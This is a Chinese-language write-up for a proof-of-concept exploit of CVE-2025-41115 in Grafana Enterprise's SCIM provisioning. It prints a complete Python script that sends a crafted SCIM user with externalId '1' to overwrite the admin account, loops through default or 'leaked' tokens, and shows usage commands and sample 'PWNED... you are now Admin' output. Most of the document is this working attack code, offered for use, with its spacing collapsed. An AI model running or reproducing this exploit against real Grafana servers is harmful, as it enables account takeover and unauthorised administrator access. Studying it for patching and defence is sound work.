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CVE-2025-41115 - Grafana企业版SCIM UID覆盖漏洞利用程序
这是一个针对CVE-2025-41115漏洞的概念验证(PoC)工具,该漏洞被评定为严重(CVSS 10.0)级别,影响Grafana企业版的SCIM用户配置功能。当启用SCIM配置且user_sync_enabled = true时,恶意SCIM客户端可以发送数字externalId,Grafana会错误地将其映射到内部用户ID,导致攻击者能够模拟或覆盖现有账户,包括管理员账户。
重要说明:Grafana开源版本(OSS)不受此漏洞影响。
gitclone[repository-url]cdBlackash-CVE-2025-41115python3 --version pipinstallrequests# 如果尚未安装requests库chmod+x CVE-2025-41115.pyrequests:用于HTTP请求json:用于JSON数据处理time:用于生成时间戳sys:用于命令行参数处理urllib3:用于禁用SSL警告# 基本用法python3 CVE-2025-41115.py http://target.com# 指定端口python3 CVE-2025-41115.py http://target.com:3000# 使用HTTPSpython3 CVE-2025-41115.py https://grafana.company.com[*]CVE-2025-41115 → Targeting http://10.10.13.37:3000[*]Trying default/leaked tokens + your token...[+]PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...[+]Login as: rooted1732212345@pwn.lab(any password)→ you are now Admin![+]Full response:{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"id":"1",# 关键行:UID 1已被覆盖"externalId":"1","meta":{...},"userName":"rooted1732212345@pwn.lab","name":{"formatted":"Pwned User"},"emails":[{"value":"rooted1732212345@pwn.lab","primary":true}],"active":true}BASE:目标Grafana实例的基础URLTOKEN:可选的SCIM令牌(如果需要使用特定令牌)DEFAULT_TOKENS:内置的默认/泄露令牌列表ATTACKER:自动生成的攻击者邮箱地址TARGET_UID:要覆盖的目标用户ID(默认为1,即管理员)#!/usr/bin/env python3# CVE-2025-41115 - Grafana Enterprise SCIM UID Overwrite PoC# 用法:sudo python3 CVE-2025-41115.py http://target.com# (或 http://target.com:3000)# 100% 单行风格 - 无需编辑,只需目标地址importrequests,sys,json,timefromurllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("[!] Usage: python3 CVE-2025-41115.py http://target.com")sys.exit(1)BASE=sys.argv[1].rstrip("/")TOKEN="glsa_00000000000000000000000000000000_00000000000000000000000000000000"# ← 如果拥有真实令牌,只需修改此行# 如果没有有效令牌 → 尝试以下内置的泄露/默认令牌(许多实验环境仍在使用):DEFAULT_TOKENS=["glsa_11111111111111111111111111111111_11111111111111111111111111111111","glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","glsa_00000000000000000000000000000000_00000000000000000000000000000000",TOKEN]ATTACKER=f"rooted{int(time.time())}@pwn.lab"TARGET_UID="1"# 几乎总是主管理员deftry_exploit(token):headers={"Authorization":f"Bearer{token}","Content-Type":"application/scim+json"}payload={"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":ATTACKER,"externalId":TARGET_UID,"name":{"formatted":"Pwned User"},"emails":[{"value":ATTACKER,"primary":True}],"active":True}try:r=requests.post(f"{BASE}/api/scim/v2/Users",json=payload,headers=headers,verify=False,timeout=10)ifr.status_codein(200,201):print(f"[+] PWNED with token →{token[:20]}...")print(f"[+] Login as:{ATTACKER}(any password) → you are now Admin!")print(f"[+] Full response:{json.dumps(r.json(),indent=2)}")returnTrueelif"Unauthorized"inr.textorr.status_code==401:returnFalseelse:print(f"[?] Unexpected response{r.status_code}:{r.text}")returnFalseexcept:returnFalseprint(f"[*] CVE-2025-41115 → Targeting{BASE}")print("[*] Trying default/leaked tokens + your token...")fortinDEFAULT_TOKENS:iftry_exploit(t.strip()):sys.exit(0)print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")print(" Get one from: Admin → Authentication → SCIM → Generate token")# 关键安全特性# 1. 自动生成的唯一邮箱地址,避免冲突ATTACKER=f"rooted{int(time.time())}@pwn.lab"# 2. SSL验证禁用(仅用于测试环境)disable_warnings()# 3. 超时设置防止脚本挂起timeout=10# 4. 明确的退出条件ifr.status_codein(200,201):# 成功条件sys.exit(0)# 成功时优雅退出该PoC工具设计精良,考虑了实际使用中的各种情况,同时保持了代码的简洁性和可读性。通过模块化设计,可以轻松扩展或修改以适应不同的测试场景。
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